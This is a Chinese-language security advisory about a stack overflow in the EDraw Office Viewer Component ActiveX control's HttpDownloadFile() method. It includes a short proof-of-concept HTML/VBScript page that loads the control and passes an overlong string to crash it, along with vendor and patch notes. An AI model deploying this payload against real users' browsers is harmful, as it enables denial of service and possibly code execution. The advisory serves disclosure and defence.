EDraw Office Viewer Component ActiveX远程栈溢出漏洞
发布日期:2007-05-30
更新日期:2007-05-31
受影响系统:EDraw Office Viewer Component 4.0.5.20
描述:
BUGTRAQ ID:
24229
Office Viewer Component是用于显示和交互Microsoft Office文件的ActiveX控件。
EDraw Office Viewer Component(edrawofficeviewer.ocx)ActiveX在处理HttpDownloadFile()方式时存在栈溢出漏洞,如果用户受骗访问了恶意站点并向该方式传送了超长字符串的话,就可能触发这个溢出,导致拒绝服务或执行任意指令。
<*来源:shinnai (
shinnai@autistici.org)
链接:
http://secunia.com/advisories/25418/
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
<pre>
<span style="font: 14pt Courier New;"><p align="center"><b>2007/05/29</b></p></span>
<code><span style="font: 10pt Courier New;"><span class="general1-symbol">---------------------------------------------------------------------------------------------
<b>EDraw Office Viewer Component (edrawofficeviewer.ocx v. 4.0.5.20) Denial of Service Exploit</b>
url:
http://www.ocxt.com/officeviewer.php
author: shinnai
mail: shinnai[at]autistici[dot]org
site:
http://shinnai.altervista.org
Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7
all software that use this ocx are vulnerable to this exploits.
This ActiveX is marked as:
RegKey Safe for Script: True
RegKey Safe for Init: True
KillBitSet: False
---------------------------------------------------------------------------------------------
<object classid='clsid:053AFEBA-D968-435F-B557-19FF76372B1B' id='test'></object>
<input language=VBScript onclick=tryMe() type=button value="Click here to start the test">
<script language='vbscript'>
Sub tryMe
buff = String(1000, "A")
test.HttpDownloadFile buff, "Default"
End Sub
</script>
</span></span>
</code></pre>
建议:
厂商补丁:
EDraw
-----
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.ocxt.com/浏览次数:2597
严重程度:0(网友投票)